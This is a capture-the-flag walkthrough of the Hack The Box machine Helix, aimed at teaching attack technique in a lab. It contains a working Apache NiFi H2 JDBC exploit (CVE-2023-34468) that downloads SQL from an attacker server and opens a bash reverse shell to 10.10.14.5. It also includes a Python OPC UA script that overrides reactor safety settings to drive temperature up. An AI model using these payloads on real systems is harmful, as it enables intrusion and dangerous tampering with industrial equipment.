🧬Helix
HTB Helix — Detailed Solution Notes
Platform: Hack The Box | Machine: Helix | OS: Linux (Ubuntu) | Difficulty: Medium | Vulnerability Types: RCE (CVE-2023-34468), Credential Exposure, OPC UA ICS Manipulation, Sudo Privesc
Attack Chain Summary
- Reconnaissance: Nmap scan reveals ports 22 (SSH) and 80 (HTTP/nginx).
- Subdomain Discovery: Vhost fuzzing uncovers
flow.helix.htb, exposing an unauthenticated Apache NiFi 1.21.0 interface. - Initial Foothold (RCE): CVE-2023-34468 is abused by injecting a malicious H2 JDBC URL into the DBCPConnectionPool Controller Service, triggering a reverse shell as
nifi. - Lateral Movement: An SSH private key for
operatoris found inside NiFi's support-bundles directory. - Privilege Escalation: A sudo-allowed maintenance console binary grants root access once the OPC UA industrial control system enters its maintenance window.
How Does a Hacker Think? — Industrial Control Systems as an Attack Surface
When only ports 22 and 80 are open, the machine looks simple. But if the web application is a data flow platform like Apache NiFi, this changes everything. NiFi is designed to process and move data, and it often runs with elevated privileges inside a network. If it's exposed without authentication, it becomes a direct code execution gateway. The key insight here is: "data processing tool" does not mean "safe." Anything that can connect to a database can potentially run code.
1. Reconnaissance
Network Scan
bash
nmap -sC -sV -oN helix_nmap.txt <IP>
Port 22 runs OpenSSH 8.9p1 on Ubuntu. Port 80 runs nginx 1.18.0 and immediately redirects to http://helix.htb/, indicating virtual host routing is in use.
Hosts File
bash
echo "<IP> helix.htb" | sudo tee -a /etc/hosts
Vhost / Subdomain Fuzzing
bash
ffuf -u http://helix.htb/ -H "Host: FUZZ.helix.htb" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs <size>
This reveals flow.helix.htb. After adding it to /etc/hosts, navigating to http://flow.helix.htb/nifi/ presents the Apache NiFi 1.21.0 canvas with no login required.
2. Initial Foothold — CVE-2023-34468 (Apache NiFi RCE)
What Is the Vulnerability?
CVE-2023-34468 affects Apache NiFi versions 0.0.2 through 1.21.0. The DBCPConnectionPool and HikariCPConnectionPool Controller Services allow an authenticated user to configure a Database Connection URL using the H2 driver. H2 supports an INIT parameter that runs arbitrary SQL on connection startup, and H2's RUNSCRIPT FROM command can fetch and execute a remote SQL file. Since NiFi runs as a service user with shell access, this turns into full remote code execution.
Exploitation Steps
The NiFi canvas already contains a LogAttribute processor connected to an ExecuteSQL processor. The ExecuteSQL processor uses a Controller Service called MaintenanceDB (a DBCPConnectionPool). Its current connection URL is:
jdbc:h2:mem:maint;MODE=MySQL;DB_CLOSE_DELAY=-1
Step 1 — Prepare the exploit SQL file on Kali:
bash
cat > /tmp/exploit.sql << 'EOF'
CREATE ALIAS EXEC AS $$ String exec(String cmd) throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c",cmd};
Process proc = rt.exec(commands);
return "";
} $$;
CALL EXEC('bash -i >& /dev/tcp/10.10.14.5/4444 0>&1');
EOF
Step 2 — Start a listener and HTTP server on Kali:
bash
nc -lvnp 4444
cd /tmp && python3 -m http.server 8000
Step 3 — Disable MaintenanceDB, then update the Database Connection URL to:
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.5:8000/exploit.sql'
Step 4 — Re-enable MaintenanceDB. On startup, H2 executes the INIT parameter, fetches exploit.sql from Kali, and runs the Java Runtime.exec() call, delivering a reverse shell:
nifi@helix:/opt/nifi-1.21.0$
3. Lateral Movement — Recovering the operator SSH Key
What Are NiFi Support Bundles?
Apache NiFi can generate support bundles for diagnostics. These are stored in the support-bundles directory under the NiFi installation and may contain sensitive files left behind by administrators.
Finding the Key
bash
find /opt/nifi-1.21.0 -name "*.bak" 2>/dev/null
# /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak
cat /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak
The file contains a valid ED25519 OpenSSH private key belonging to the operator user.
SSH as operator
bash
echo '<KEY_CONTENT>' > /tmp/operator_id_ed25519
chmod 600 /tmp/operator_id_ed25519
ssh -i /tmp/operator_id_ed25519 operator@<IP>
User flag obtained: /home/operator/user.txt ✅
4. Privilege Escalation — OPC UA Manipulation + Sudo Console
Initial Enumeration
bash
sudo -l
# (root) NOPASSWD: /usr/local/sbin/helix-maint-console
ss -tlnp
# 127.0.0.1:4840 → OPC UA server
# 127.0.0.1:8081 → Helix HMI (Werkzeug/Python)
The operator's home directory also contains a password-protected PDF: Operator Control & Safety Guide.pdf.
Cracking the PDF
bash
# Copy to Kali
scp -i /tmp/operator_id_ed25519 'operator@<IP>:~/Operator Control & Safety Guide.pdf' /tmp/
# Extract hash and crack
pdf2john '/tmp/Operator Control & Safety Guide.pdf' | grep -o '\$pdf\$.*' > /tmp/pdf_hash.txt
hashcat -m 10700 /tmp/pdf_hash.txt /usr/share/wordlists/rockyou.txt.gz
hashcat -m 10700 /tmp/pdf_hash.txt --show
PDF password: operator1
What the PDF Reveals
The PDF documents the Helix Reactor Control System, which is built on OPC UA. It describes several key variables: Temperature, Pressure, CalibrationOffset, Mode (NORMAL/MAINTENANCE), TestOverride, TripActive, and ResetTrip.
The critical section is the Maintenance Operating Window. This window opens when temperature reaches approximately 295°C or pressure reaches 73 bar, while remaining below the safety trip thresholds. When the window is open, privileged diagnostic tools become available — specifically, the maintenance console.
Port Forwarding
bash
sudo ssh -i /tmp/operator_id_ed25519 \
-L 4840:127.0.0.1:4840 \
-L 8081:127.0.0.1:8081 \
operator@<IP> -N
OPC UA Node Discovery
bash
pip install opcua --break-system-packages
python3 -c "
from opcua import Client
c = Client('opc.tcp://127.0.0.1:4840')
c.connect()
# Discovered nodes:
# ns=2;i=4 → Temperature
# ns=2;i=5 → Pressure
# ns=2;i=6 → CalibrationOffset
# ns=2;i=12 → Mode
# ns=2;i=13 → TestOverride
c.disconnect()
"
Opening the Maintenance Window
By switching the reactor to MAINTENANCE mode, enabling TestOverride, and gradually increasing CalibrationOffset, the temperature rises predictably. Once it crosses 295°C without triggering a safety trip, the maintenance window opens.
bash
python3 << 'EOF'
from opcua import Client, ua
import time
c = Client('opc.tcp://127.0.0.1:4840')
c.connect()
mode = c.get_node('ns=2;i=12')
override = c.get_node('ns=2;i=13')
calibration = c.get_node('ns=2;i=6')
temp = c.get_node('ns=2;i=4')
mode.set_value(ua.DataValue(ua.Variant('MAINTENANCE', ua.VariantType.String)))
override.set_value(ua.DataValue(ua.Variant(True, ua.VariantType.Boolean)))
offset = 0.0
while True:
offset += 0.5
calibration.set_value(ua.DataValue(ua.Variant(offset, ua.VariantType.Double)))
t = temp.get_value()
print(f'Offset: {offset:.1f} | Temp: {t:.2f}')
if t >= 295:
print('[+] Maintenance window should open!')
break
time.sleep(1)
c.disconnect()
EOF
Root Shell
With the maintenance window active, the sudo-allowed console binary unlocks and grants a root shell:
bash
sudo /usr/local/sbin/helix-maint-console
root@helix:/home/operator#
bash
cat /root/root.txt
Root flag obtained ✅
Core Techniques Used
Vhost Fuzzing was used during reconnaissance to find flow.helix.htb, which was not visible from the main domain. Without this step, the NiFi interface would never have been discovered.
CVE-2023-34468 turned an unauthenticated NiFi canvas into a full remote code execution primitive. The attack works by hijacking the database connection initialization sequence to fetch and run attacker-controlled SQL.
Support Bundle Analysis revealed a leftover SSH private key inside NiFi's diagnostic output directory. This is a classic case of a service accidentally persisting sensitive credentials in its working directory.
PDF Cracking with pdf2john and hashcat (mode 10700 for PDF 1.7 Level 8) recovered the password operator1, which unlocked the reactor documentation needed to understand the privilege escalation path.
OPC UA Manipulation using the Python opcua library allowed direct interaction with the industrial control system's process variables. By raising the CalibrationOffset, the simulated reactor temperature was pushed into the maintenance window range without triggering a safety trip.
Sudo Privesc via /usr/local/sbin/helix-maint-console was the final step. The binary is only useful when the maintenance window is active, making the OPC UA manipulation a prerequisite for root access.
General Hacker Mindset Summary
NiFi without authentication is code execution. Any platform that can connect to a database and execute queries on initialization can be weaponized. The H2 driver's INIT=RUNSCRIPT feature is particularly dangerous because it fires before the application even establishes a persistent connection.
Backup files are operational secrets. Files ending in .bak, .old, or similar suffixes are often ignored after deployment. In this case, a leftover SSH key in a support bundle provided full lateral movement. Always search the application's working directories, not just /etc and /home.
Read the documentation. The PDF was not just flavor text — it was the roadmap to root. It described exactly which OPC UA variables to manipulate, what thresholds to hit, and what conditions were required to unlock the privileged console. Skipping it would mean fumbling blindly through the ICS layer.
sudo -l should be the first command after gaining a new shell. In this machine, the privesc path was sitting in plain sight. Checking sudo permissions early saves hours of unnecessary enumeration.
ICS and OPC UA are the new attack surface. As operational technology converges with IT infrastructure, protocols like OPC UA, Modbus, and DNP3 are appearing more frequently in penetration testing engagements and CTF machines. Understanding how to read and write industrial process variables is a skill worth developing.
You might also want to look at these